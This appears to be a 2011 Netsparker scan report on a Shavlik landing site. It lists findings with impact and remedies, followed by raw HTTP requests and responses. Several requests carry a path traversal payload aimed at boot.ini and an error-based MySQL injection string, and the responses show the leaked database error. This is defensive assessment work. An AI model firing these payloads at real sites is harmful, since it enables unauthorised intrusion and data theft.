The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.
Remedy
Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
GET /shavlik/index.cfm?m=../../../../../../../../../../boot.ini&pg=697&h=0&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Cookie: CFID=799687; CFTOKEN=56587765 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Mon, 25 Apr 2011 12:16:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<font style="COLOR: black; FONT: 16pt/18pt verdana"> The web site you are accessing has experienced an unexpected error.<br> Please contact the website administrator.
</font> <br><br> <table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7"> <tr> <td bgcolor="#000066"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> The following information is meant for the website developer for debugging purposes. </font> </td> <tr> <tr> <td bgcolor="#4646EE"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> Error Occurred While Processing Request </font> </td> </tr> <tr> <td> <font style="COLOR: black; FONT: 8pt/11pt verdana">
<table width="500" cellpadding="0" cellspacing="0" border="0"> <tr> <td id="tableProps2" align="left" valign="middle" width="500"> <h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana"> Error Executing Database Query. </h1> </td> </tr> <tr> <td id="tablePropsWidth" width="400" colspan="2"> <font style="COLOR: black; FONT: 8pt/11pt verdana"> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near './../../../../../../../../../boot.ini AND DMMESSAGE.userCompanyID = 21 ORD' at line 7 </font> </td> </tr> <tr> <td height> </td> </tr>
<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debug Output Settings, and select the Robust Exception Information option.</li>
<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li> <li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Remedy
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
GET /shavlik/index.cfm?m=1112&pg=697&h=0&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 25 Apr 2011 12:16:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=799688;expires=Wed, 17-Apr-2041 12:16:17 GMT;path=/,CFTOKEN=55208339;expires=Wed, 17-Apr-2041 12:16:17 GMT;path=/ Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<div id="content"> <h1 style="font-size:40px; margin-top:0;">Comprehensive security software that can make life easier</h1> <img src="images/SHAV_LP_patch_logo.png">
<p class="contentCopy"> <strong>NetChk®</strong> Protect is the comprehensive agentless patch management system designed to meet today’s most pressing IT challenges. NetChk® Protect simplifies the complexity of IT management by automating patching – for both your operating system and for third-party applications – so you’re protected from every angle. <br /><br /> In less than 30 minutes, <strong>NetChk®</strong> Protect will be up and running, detecting and deploying missing patches. <br /><br /> <strong>NetChk®</strong> Protect also includes the Sunbelt VIPRE Enterprise Antivirus + Antispyware + Antimalware engine to integrate world-class antivirus protection with comprehensive patch management for faster, more cost-effective network security. </p> </div> <div style="background-image:url('images/SHAV_blackLine.jpg'); background-repeat:no-repeat; height:19px;"></div> </div> <div id="bottomContainer"><!--- bottomContainer ---> <div id="leftBottom"> <a href="index.cfm?pg=704" style="text-decoration:none;"><h2>SimplexITy Bundle Savings of 80% <img src="images/Shav_LP_serious_arrow.png" style="border:0;"></h2></a>
<h3 style="font-style:italic;">For a limited time, the more Shavlik IT Management products you use, the more you save.</h3> <p class="bottomCopy">NetChk® Protect is part of the Shavlik SimplexITy Bundle, the ultimate IT management solution for network professionals. Combining our best-in-class network security and IT management applications, the bundle is the comprehensive answer to your patch management, antivirus, power management, and configuration challenges.</p>
<h3 style="font-style:italic;">Explore the Shavlik SimplexITy Bundle:</h3>
<p class="bottomCopy">Click on the links below for detailed information on each functionality that can simplify your IT workload:</p>
<ul class="bottomCopy" style="margin-left:15px; padding:0; line-height:26px;"> <li><a href="index.cfm?pg=697" class="current">Automated Patch Management</a></li> <li><a href="index.cfm?pg=698">Next-generation Enterprise Antivirus</a></li> <li><a href="index.cfm?pg=701">Centralized Power Management</a></li> <li><a href="index.cfm?pg=699">Simplified Configuration and Compliance</a></li> </ul> </div> <div id="middleBottom"> <p class="bottomCopy" style="margin-top:0;">For a fraction of the money you spend for antivirus protection today, you can simplify the complexity of IT management and have complete protection against your top security threats.</p>
<p class="bottomCopy" style="margin-bottom:0;">Register today to try Shavlik’s NetChk® Protect patch management - or save even more by upgrading to the SimplexITy bundle! <span style="font-style:italic; font-size:11px;">* Denotes Required Fields</span></p>
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.
Remedy
Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
GET /shavlik/index.cfm?m=../../../../../../../../../../boot.ini&pg=697&h=0&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Cookie: CFID=799687; CFTOKEN=56587765 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Mon, 25 Apr 2011 12:16:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<font style="COLOR: black; FONT: 16pt/18pt verdana"> The web site you are accessing has experienced an unexpected error.<br> Please contact the website administrator.
</font> <br><br> <table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7"> <tr> <td bgcolor="#000066"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> The following information is meant for the website developer for debugging purposes. </font> </td> <tr> <tr> <td bgcolor="#4646EE"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> Error Occurred While Processing Request </font> </td> </tr> <tr> <td> <font style="COLOR: black; FONT: 8pt/11pt verdana">
<table width="500" cellpadding="0" cellspacing="0" border="0"> <tr> <td id="tableProps2" align="left" valign="middle" width="500"> <h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana"> Error Executing Database Query. </h1> </td> </tr> <tr> <td id="tablePropsWidth" width="400" colspan="2"> <font style="COLOR: black; FONT: 8pt/11pt verdana"> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near './../../../../../../../../../boot.ini AND DMMESSAGE.userCompanyID = 21 ORD' at line 7 </font> </td> </tr> <tr> <td height> </td> </tr>
<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debug Output Settings, and select the Robust Exception Information option.</li>
<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li> <li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>
Netsparker identified that the target web application doesn't use encryption on ViewState data.
Impact
An attacker can study the application's state management logic for possible vulnerabilities and if your application stores application-critical information in the ViewState; it will also be revealed.
Remedy
ASP.NET provides encryption for ViewState parameters.
For page based protection, place the following directive at the top of affected page.
<%@Page ViewStateEncryptionMode="Always" %>
You can also set this option for the whole application by using web.config files. Apply the following configuration for your application's web.config file.
GET /shavlik/index.cfm?m=1112&pg=697&h=0&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 25 Apr 2011 12:16:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=799686;expires=Wed, 17-Apr-2041 12:16:17 GMT;path=/,CFTOKEN=50906304;expires=Wed, 17-Apr-2041 12:16:17 GMT;path=/ Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<div id="content"> <h1 style="font-size:40px; margin-top:0;">Comprehensive security software that can make life easier</h1> <img src="images/SHAV_LP_patch_logo.png">
<p class="contentCopy"> <strong>NetChk®</strong> Protect is the comprehensive agentless patch management system designed to meet today’s most pressing IT challenges. NetChk® Protect simplifies the complexity of IT management by automating patching – for both your operating system and for third-party applications – so you’re protected from every angle. <br /><br /> In less than 30 minutes, <strong>NetChk®</strong> Protect will be up and running, detecting and deploying missing patches. <br /><br /> <strong>NetChk®</strong> Protect also includes the Sunbelt VIPRE Enterprise Antivirus + Antispyware + Antimalware engine to integrate world-class antivirus protection with comprehensive patch management for faster, more cost-effective network security. </p> </div> <div style="background-image:url('images/SHAV_blackLine.jpg'); background-repeat:no-repeat; height:19px;"></div> </div> <div id="bottomContainer"><!--- bottomContainer ---> <div id="leftBottom"> <a href="index.cfm?pg=704" style="text-decoration:none;"><h2>SimplexITy Bundle Savings of 80% <img src="images/Shav_LP_serious_arrow.png" style="border:0;"></h2></a>
<h3 style="font-style:italic;">For a limited time, the more Shavlik IT Management products you use, the more you save.</h3> <p class="bottomCopy">NetChk® Protect is part of the Shavlik SimplexITy Bundle, the ultimate IT management solution for network professionals. Combining our best-in-class network security and IT management applications, the bundle is the comprehensive answer to your patch management, antivirus, power management, and configuration challenges.</p>
<h3 style="font-style:italic;">Explore the Shavlik SimplexITy Bundle:</h3>
<p class="bottomCopy">Click on the links below for detailed information on each functionality that can simplify your IT workload:</p>
<ul class="bottomCopy" style="margin-left:15px; padding:0; line-height:26px;"> <li><a href="index.cfm?pg=697" class="current">Automated Patch Management</a></li> <li><a href="index.cfm?pg=698">Next-generation Enterprise Antivirus</a></li> <li><a href="index.cfm?pg=701">Centralized Power Management</a></li> <li><a href="index.cfm?pg=699">Simplified Configuration and Compliance</a></li> </ul> </div> <div id="middleBottom"> <p class="bottomCopy" style="margin-top:0;">For a fraction of the money you spend for antivirus protection today, you can simplify the complexity of IT management and have complete protection against your top security threats.</p>
<p class="bottomCopy" style="margin-bottom:0;">Register today to try Shavlik’s NetChk® Protect patch management - or save even more by upgrading to the SimplexITy bundle! <span style="font-style:italic; font-size:11px;">* Denotes Required Fields</span></p>
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.
Impact
This issue is reported as additional information only, there is no direct impact arising from this issue.
GET /shavlik/index.cfm?m=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&pg=697&h=0&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Cookie: CFID=799689; CFTOKEN=67476078 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Mon, 25 Apr 2011 12:16:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<font style="COLOR: black; FONT: 16pt/18pt verdana"> The web site you are accessing has experienced an unexpected error.<br> Please contact the website administrator.
</font> <br><br> <table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7"> <tr> <td bgcolor="#000066"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> The following information is meant for the website developer for debugging purposes. </font> </td> <tr> <tr> <td bgcolor="#4646EE"> <font style="COLOR: white; FONT: 11pt/13pt verdana" color="white"> Error Occurred While Processing Request </font> </td> </tr> <tr> <td> <font style="COLOR: black; FONT: 8pt/11pt verdana">
<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debug Output Settings, and select the Robust Exception Information option.</li>
<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li> <li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>
Netsparker found e-mail addresses on the web site.
Impact
E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .
Remedy
Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.
GET /shavlik/index.cfm?m=1112&pg=697&h=0&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 25 Apr 2011 12:16:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=799686;expires=Wed, 17-Apr-2041 12:16:17 GMT;path=/,CFTOKEN=50906304;expires=Wed, 17-Apr-2041 12:16:17 GMT;path=/ Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<div id="content"> <h1 style="font-size:40px; margin-top:0;">Comprehensive security software that can make life easier</h1> <img src="images/SHAV_LP_patch_logo.png">
<p class="contentCopy"> <strong>NetChk®</strong> Protect is the comprehensive agentless patch management system designed to meet today’s most pressing IT challenges. NetChk® Protect simplifies the complexity of IT management by automating patching – for both your operating system and for third-party applications – so you’re protected from every angle. <br /><br /> In less than 30 minutes, <strong>NetChk®</strong> Protect will be up and running, detecting and deploying missing patches. <br /><br /> <strong>NetChk®</strong> Protect also includes the Sunbelt VIPRE Enterprise Antivirus + Antispyware + Antimalware engine to integrate world-class antivirus protection with comprehensive patch management for faster, more cost-effective network security. </p> </div> <div style="background-image:url('images/SHAV_blackLine.jpg'); background-repeat:no-repeat; height:19px;"></div> </div> <div id="bottomContainer"><!--- bottomContainer ---> <div id="leftBottom"> <a href="index.cfm?pg=704" style="text-decoration:none;"><h2>SimplexITy Bundle Savings of 80% <img src="images/Shav_LP_serious_arrow.png" style="border:0;"></h2></a>
<h3 style="font-style:italic;">For a limited time, the more Shavlik IT Management products you use, the more you save.</h3> <p class="bottomCopy">NetChk® Protect is part of the Shavlik SimplexITy Bundle, the ultimate IT management solution for network professionals. Combining our best-in-class network security and IT management applications, the bundle is the comprehensive answer to your patch management, antivirus, power management, and configuration challenges.</p>
<h3 style="font-style:italic;">Explore the Shavlik SimplexITy Bundle:</h3>
<p class="bottomCopy">Click on the links below for detailed information on each functionality that can simplify your IT workload:</p>
<ul class="bottomCopy" style="margin-left:15px; padding:0; line-height:26px;"> <li><a href="index.cfm?pg=697" class="current">Automated Patch Management</a></li> <li><a href="index.cfm?pg=698">Next-generation Enterprise Antivirus</a></li> <li><a href="index.cfm?pg=701">Centralized Power Management</a></li> <li><a href="index.cfm?pg=699">Simplified Configuration and Compliance</a></li> </ul> </div> <div id="middleBottom"> <p class="bottomCopy" style="margin-top:0;">For a fraction of the money you spend for antivirus protection today, you can simplify the complexity of IT management and have complete protection against your top security threats.</p>
<p class="bottomCopy" style="margin-bottom:0;">Register today to try Shavlik’s NetChk® Protect patch management - or save even more by upgrading to the SimplexITy bundle! <span style="font-style:italic; font-size:11px;">* Denotes Required Fields</span></p>
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.
Impact
An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.
Remediation
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
GET /shavlik/index.cfm?m=1112&pg=697&h=0&hp=697&utm_term=vulnerability%20management&utm_campaign=PatchManagement&utm_mt=e&gclid=CPC_jKTPt6gCFUh-5QodsROzEA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: learn.shavlik.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 25 Apr 2011 12:16:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=799686;expires=Wed, 17-Apr-2041 12:16:17 GMT;path=/,CFTOKEN=50906304;expires=Wed, 17-Apr-2041 12:16:17 GMT;path=/ Content-Type: text/html; charset=UTF-8
<iframe name = "regFrame" id = "regFrame" style="display:none;" width="800" height=400></iframe> <iframe name = "regFrame2" id = "regFrame2" style="display:none;" width="800" height=400></iframe>
<script type="text/javascript">
function formCheck() {
retValue = false;
if(document.getElementById('m_txtFirstName').value == "" || document.getElementById('m_txtFirstName').value.length < 2 || document.getElementById('m_txtFirstName').value.length > 55) { alert("Please enter your First Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtLastName').value == "" || document.getElementById('m_txtLastName').value.length < 2 || document.getElementById('m_txtLastName').value.length > 55) { alert("Please enter your Last Name, between 2 and 55 characters"); }
else if(document.getElementById('m_txtEmail').value == "") { alert("Please enter your email address"); }
else if((document.getElementById('m_txtEmail').value.indexOf(".") == -1) || document.getElementById('m_txtEmail').value.indexOf("@") == -1) { alert("Please enter a valid email address"); }
else if(document.getElementById('m_txtPhone').value == "" || document.getElementById('m_txtPhone').value.length < 10 || document.getElementById('m_txtPhone').value.length > 50) { alert("Please enter your Phone Number, at least 10 characters"); }
else if(document.getElementById('m_txtCompany').value == "") { alert("Please enter your Company Name"); } else if(document.getElementById('m_ddlStates').value == 0) { alert("Please Choose Your State"); } else if(document.getElementById('sEmployees').value == '') { alert("Please Choose the size of your company"); } else if(document.getElementById('sTitle').value == '') { alert("Please Choose your job title"); }
<div id="content"> <h1 style="font-size:40px; margin-top:0;">Comprehensive security software that can make life easier</h1> <img src="images/SHAV_LP_patch_logo.png">
<p class="contentCopy"> <strong>NetChk®</strong> Protect is the comprehensive agentless patch management system designed to meet today’s most pressing IT challenges. NetChk® Protect simplifies the complexity of IT management by automating patching – for both your operating system and for third-party applications – so you’re protected from every angle. <br /><br /> In less than 30 minutes, <strong>NetChk®</strong> Protect will be up and running, detecting and deploying missing patches. <br /><br /> <strong>NetChk®</strong> Protect also includes the Sunbelt VIPRE Enterprise Antivirus + Antispyware + Antimalware engine to integrate world-class antivirus protection with comprehensive patch management for faster, more cost-effective network security. </p> </div> <div style="background-image:url('images/SHAV_blackLine.jpg'); background-repeat:no-repeat; height:19px;"></div> </div> <div id="bottomContainer"><!--- bottomContainer ---> <div id="leftBottom"> <a href="index.cfm?pg=704" style="text-decoration:none;"><h2>SimplexITy Bundle Savings of 80% <img src="images/Shav_LP_serious_arrow.png" style="border:0;"></h2></a>
<h3 style="font-style:italic;">For a limited time, the more Shavlik IT Management products you use, the more you save.</h3> <p class="bottomCopy">NetChk® Protect is part of the Shavlik SimplexITy Bundle, the ultimate IT management solution for network professionals. Combining our best-in-class network security and IT management applications, the bundle is the comprehensive answer to your patch management, antivirus, power management, and configuration challenges.</p>
<h3 style="font-style:italic;">Explore the Shavlik SimplexITy Bundle:</h3>
<p class="bottomCopy">Click on the links below for detailed information on each functionality that can simplify your IT workload:</p>
<ul class="bottomCopy" style="margin-left:15px; padding:0; line-height:26px;"> <li><a href="index.cfm?pg=697" class="current">Automated Patch Management</a></li> <li><a href="index.cfm?pg=698">Next-generation Enterprise Antivirus</a></li> <li><a href="index.cfm?pg=701">Centralized Power Management</a></li> <li><a href="index.cfm?pg=699">Simplified Configuration and Compliance</a></li> </ul> </div> <div id="middleBottom"> <p class="bottomCopy" style="margin-top:0;">For a fraction of the money you spend for antivirus protection today, you can simplify the complexity of IT management and have complete protection against your top security threats.</p>
<p class="bottomCopy" style="margin-bottom:0;">Register today to try Shavlik’s NetChk® Protect patch management - or save even more by upgrading to the SimplexITy bundle! <span style="font-style:italic; font-size:11px;">* Denotes Required Fields</span></p>